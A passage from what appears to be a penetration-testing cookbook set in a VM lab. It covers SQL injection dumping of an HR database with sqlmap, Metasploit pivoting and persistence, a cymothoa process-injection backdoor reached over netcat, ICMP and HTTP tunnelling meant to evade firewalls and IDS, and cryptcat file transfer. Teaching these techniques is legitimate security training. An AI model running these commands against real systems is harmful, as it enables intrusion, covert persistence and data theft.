[*] vicnum
[*] wackopicko
[*] wavsepdb
[*] webcal
[*] webgoat_coins
[*] wordpress
[*] wraithlogin
[*] yazd

6. From the list of available databases, we will work with OrangeHRM, as it is a
human resources management application. From the command line, run the
following to dump the tables that are present in the OrangeHRM database:

root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1" --tables -D orangehrm

7. This will dump a list of all the tables in the OrangeHRM database, and the amount
of data it returns is substantial, 84 tables to be exact. In the list that is output, you
will see some interesting ones such as:

hs_hr_customer                 (Customers)
hs_hr_emp_directdebit     (Bank account information for direct deposit)
hs_hr_emp_passport        (Passport records)
hs_hr_employee                 (Detailed employee info)
hs_hr_users                        (HR app users, able to create/modify users,
                                              employees, and so on)

8. With the information from the database, an attacker would be able to extract and
crack user credentials for an administrator and log in with super user rights. They
could create a fake employee, generate a payroll record, and have payroll sent via
direct deposit to an outside bank. They would also be able to use the information to
steal the identities of any employee, manipulate their salaries, and so on.

It is important to note that even though we started on an application not
related to the HR application, because they were housed on the same
MySQL server, and the user credentials used had to access to all
databases, we were easily able to jump between databases, even if, in this
case, the HR application was only available internally.
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Maintaining Access
In this chapter, we will cover the following topics:

Pivoting and expanding access to the network
Using persistence to maintain system access
Using cymothoa to create a Linux backdoor
Protocol spoofing using pingtunnel
Protocol spoofing using httptunnel
Hiding communications with cryptcat
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Introduction
In this chapter, we will explore using multiple methods to maintain access. For best
results, multiple hosts and multiple methodologies should be employed. We will also
discuss how we cover our tracks to make it easier to hide our activity.
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Pivoting and expanding access to the
network
In this recipe, we will leverage a host as a beachhead to exploit other hosts.

While this recipe may not sound appropriate for the topic of the chapter, one of the best
ways of maintaining access to a target network is to have more hosts exploited that you
can use for your communication channel. You can also have them use various forms of
methods to reach out, so that if one is discovered you have access to others through
different means. 
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Windows XP VM is powered up on the host-only network
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How to do it...
To complete this recipe, we will do the following:

1. Validate the IP addresses of your machines before we get started.
2. We are going to start with an already exploited machine in Armitage.

We will be continuing from Chapter 7, Privilege Escalation in
recipe Remotely bypassing Windows UAC, if you need assistance getting
started.

Armitage - main screen

3. Right-click on the exploited windows XP machine and select Meterpreter |
Pivoting | Setup:
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Armitage - main screen

4. Select Add Pivot at the dialog box:

Armitage - Add Pivot dialog

5. Upon success you will get a Route added dialog box. Click on OK:

Armitage - Pivot success dialog

6. Now from the msf > prompt, enter route and press Enter and you will see our newly
added route to the hosts on that subnet:
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Armitage - main screen

If this was a host compromised across a firewall or any other security
boundary, I would now have the ability to launch attacks on other hosts on
that subnet from Metasploit.
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Using persistence to maintain system
access
In this recipe, we will use persistence to maintain access to the system across reboots.
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Windows XP VM is powered up on the host-only network
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How to do it...
In this recipe we will use persistence methods to maintain access to a system:

1. Validate the IP addresses of your machines before we get started.
2. We are going to start with an already exploited machine in Armitage, ensure it has

elevated privileges.

We will be continuing with the preceding recipe if you need assistance
with getting started. If you have not elevated your privileges please do so
before continuing. If you are on XP, try using ms15_051_client_copy_image.

Armitage - main screen

3. Right-click on the exploited host and select Meterpreter | Access | Persist:
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Armitage - main screen

4. Scroll through the options on the persistence screen ensuring your LHOST and
other options are correct and taking note of the LPORT, click on Launch: 
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Armitage - persistence dialog

5. You will now see the exploit launch against the host. Once complete, you will see
the following :
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Armitage - main screen

6. Kill all your meterpreter jobs for the host by right-clicking on the host and
selecting Meterpreter | Kill. Do this for each session. Also, close out all windows
on the bottom except the console:
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Armitage - main screen

7. Let's take a look at our jobs, from the console msf > prompt, type jobs and press
Enter:
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Armitage - main screen

8. Kill off any jobs that are not related to the LPORT that was noted during step 4. In
my case I will be killing job 1 by typing kill 1 and then pressing Enter:
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Armitage - Console window

9. Now, shutdown the windows XP VM and wait a minute or two, then start it back
up and log in as the same user.

10. You will now see that the Windows VM has reached back out and connected and
we have a new meterpreter session available to work with:

Armitage - main screen
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Using cymothoa to create a Linux
backdoor
In this recipe, we will use cymothoa to maintain Linux system access through the use of
a backdoor.
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Metasploitable VM is powered up on the host-only network
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How to do it...
To create a backdoor in Linux, we will use the following recipe:

1. Validate the IP addresses of your machines before we get started.
2. In this case, we will be starting from a machine that has already been exploited; we

will shortcut this exercise by accessing the Metasploitable machine through SSH.

If you want, you can continue this recipe from Chapter 7, Privilege
Escalation.

3. On your Kali machine start Armitage.
4. From Armitage, let's add the Metasploitable host if it is not already present. For

this recipe, my Metasploitable machine is 192.168.56.101. If required, scan, nmap,
and run the attack vectors against the Metasploitable device.

See Chapter 4, Finding Exploits in the Target for information on using
Armitage.

5. Right-click on the Metasploitable machine and select Login | ssh:

Armitage main screen

6. Enter the credentials for the Metasploitable machine msfadmin/msfadmin and select
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Launch:

Armitage credentials dialog box

7. The machine icon will change to show it's compromised due to the fact that we
have access. From here, right-click on the Metasploitable machine and select
shell | interact.

8. Open Firefox and download the following file to the Kali machine: https://sourceforge.n
et/projects/cymothoa/files/cymothoa-1-beta/cymothoa-1-beta.tar.gz/download.

Firefox save dialog box

9. From the Armitage shell screen, right-click and select Upload:
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Armitage shell screen

10. Browse and select the cymothoa-1-beta.tar.gz and upload it to the Metasploitable VM:

Armitage file upload dialog box

11. From the shell screen in Armitage enter the following commands:

tar xvfz cymothoa-1-beta.tar.gz <enter>
chmod +x cymothoa-1-beta -R <enter>
cd cymothoa-1-beta <enter>
make <enter>
./cymothoa <enter>
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Armitage shell screen

12. Let's find a process to attach to by entering the following command:

ps -aux

Armitage full screen
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13. Now let's attempt to attach to one of the processes we see here – make note of a
PID value – a shell process is a good trial. In this case, we will use the PID 4720
and we will open a hole on port 4000 for a reverse connection:

./cymothoa -p 4720 -s 1 -y 4000

Armitage full screen

You may need to try several different Process IDs until you get a
successful infection. If the worst comes to the worst, login to the
Metasploitable machine VM as the msfadmin user and then attach to that bash
process.

14. Now from your Kali Linux machine open a terminal session and type the
following:

cd <enter>
nc 192.168.56.101 4000 <enter>
ls <enter>
whoami <enter>

||||||||||||||||||||
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Kali terminal window

Please note that you will not be receiving any terminal prompts from the
sessions but you will be entering commands as the user that owned the
process ID (PID). So if possible, work on the PID with high-level
privileges such as those used by the root.
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Protocol spoofing using pingtunnel
In this recipe we will use pingtunnel to tunnel communications between two hosts. As
most of the time, ICMP communications are allowed through firewalls and rarely
inspected for malicious traffic by most companies, it makes it easy to set up a
connection that will largely go unnoticed.
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Ubuntu VM is powered up and you are logged in and on the NAT network and
have internet connectivity

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


How to do it...
To tunnel communications through pingtunnel, we will follow this process:

1. Validate the IP addresses of your Kali VM and your Ubuntu VM. For my purposes,
my Kali box in 10.0.2.5 and Ubuntu is 10.0.2.6.

2. First, we will start in the Ubuntu VM where we are currently logged in and we
want to start by elevating ourselves to root by entering the following commands in
the console:

sudo su <enter>

3. We will now install ptunnel on the Ubuntu VM with the following command:

apt install ptunnel <enter>

Ubuntu console

4. Let's now start the tunnel on the Ubuntu machine:

ptunnel <enter>

||||||||||||||||||||
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5. Switch to the Kali machine, open a terminal window and enter the following
command:

ptunnel -p 10.0.2.6 -lp -8022 -da localhost -dp 22 <enter>

6. Open a second terminal window on the Kali VM and enter the following, changing
user leonard for a valid user on the Ubuntu machine.

In the previous labs, we had setup a user of Leonard with a password of
penny on the Ubuntu box.

ssh leonard@10.0.2.5 -p 8022 <enter>

Kali terminal window - SSH connection

7. Let's look at the proxy window where we started ptunnel on the Kali VM and you
will see it registering the incoming connection:

Kali terminal window - ptunnel

8. Lastly, let's take a look at the Ubuntu machine VM where the ptunnel proxy is:

||||||||||||||||||||
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Ubuntu terminal - ptunnel

Between the two machines all you will see if you are doing a tcpdump of
the traffic will be ICMP traffic. This is a great way to make it through
firewalls and IPS/IDS devices without being detected. You can also use
this on a compromised host to use that as a jump host to target other
computers.
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Protocol spoofing using httptunnel
In this recipe we will use httptunnel to tunnel communications between two hosts. As
most of the time, HTTP communications are allowed through firewalls with little
inspection by most companies, it makes it easy to set up a connection that will largely
go unnoticed.
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Ubuntu VM is powered up and you are logged in and on the NAT network and
have internet connectivity
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How to do it...
To create a tunnel with httptunnel, we will run through the following process:

1. Validate the IP addresses of your Kali VM and your Ubuntu VM. For my purposes,
my Kali box in 10.0.2.5 and Ubuntu is 10.0.2.6.

2. First we will start in the Ubuntu VM where we are currently logged in and we
want to start by elevating ourselves to the root by entering the following commands
in the console:

sudo su <enter>

3. We will now install httptunnel on the Ubuntu VM with the following commands and
prepare it for operation:

apt install httptunnel <enter>
service apache2 stop <enter>
hts -F localhost:22 80 <enter>

4. Switch over to the Kali VM and we will install, set up our client, and connect by
entering the following commands:

In the previous labs, we had set up a user of Leonard with a password of
penny on the Ubuntu box.

apt install httptunnel <enter>
htc -F 8022 10.0.2.6:80
ssh leonard@10.0.2.5 -p 8022
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Kali terminal window

You will note that we are now logged into the remote Ubuntu box. If you
were looking at this traffic you will see all traffic look like normal HTTP
traffic. This is another useful way to get past firewalls and IPS/IDS
devices to maintain your access to the network.
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Hiding communications with cryptcat
In this recipe we will use cryptcat to transfer files between two hosts. Although we will
use cryptcat for transferring files in this example, it can be used for a wide variety of
purposes such as secure chat, shell access, port scanning as well as others.
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Getting ready
Let's ensure the following prerequisites:

Your Kali Linux VM is powered up and you are logged in as root
Your Ubuntu VM is powered up and you are logged in and on the NAT network and
have internet connectivity
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How to do it...
To use cryptcat to create tunnels to hide communications, we will follow these steps:

1. Validate the IP addresses of your Kali VM and your Ubuntu VM. For my purposes,
my Kali box is 10.0.2.5 and Ubuntu are 10.0.2.6.

2. First we will start in the Ubuntu VM where we are currently logged in and we
want to start by elevating ourselves to root by entering the following commands in
the console:

sudo su <enter>

3. We must next install cryptcat on the Ubuntu VM by entering the following command:

apt install cryptcat

4. From the Ubuntu machine we will enter the following commands to make an
interesting file:

cd <enter>
touch payroll.txt <enter>
echo "john makes lots of money" >> payroll.txt <enter>
cat payroll.txt <enter>

ubuntu terminal window

5. Prepare to transfer the file through cryptcat by entering the following commands:

cryptcat -k password -v -l -p 8443 < payroll.txt <enter>

6. Switch to the Kali box and let's retrieve and verify the file by opening a terminal
window and entering the following commands:

cryptcat -k password -v 10.0.2.6 8443 >> payroll.txt <enter>
<ctrl>-c
cat payroll.txt

||||||||||||||||||||
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Kali terminal window

7. Let's take a look at the Ubuntu terminal to see what that shows:

Ubuntu terminal
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There's more...
The cryptcat is effectively the same as netcat except for allowing encrypted
communications through plain text. To get more information on the commands available
to use, please refer to the netcat (nc) pages. With cryptcat they simply add an extra
command line option of -k <password> where password is what is used to salt the
password and create the secure communications.

Please review – https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf.
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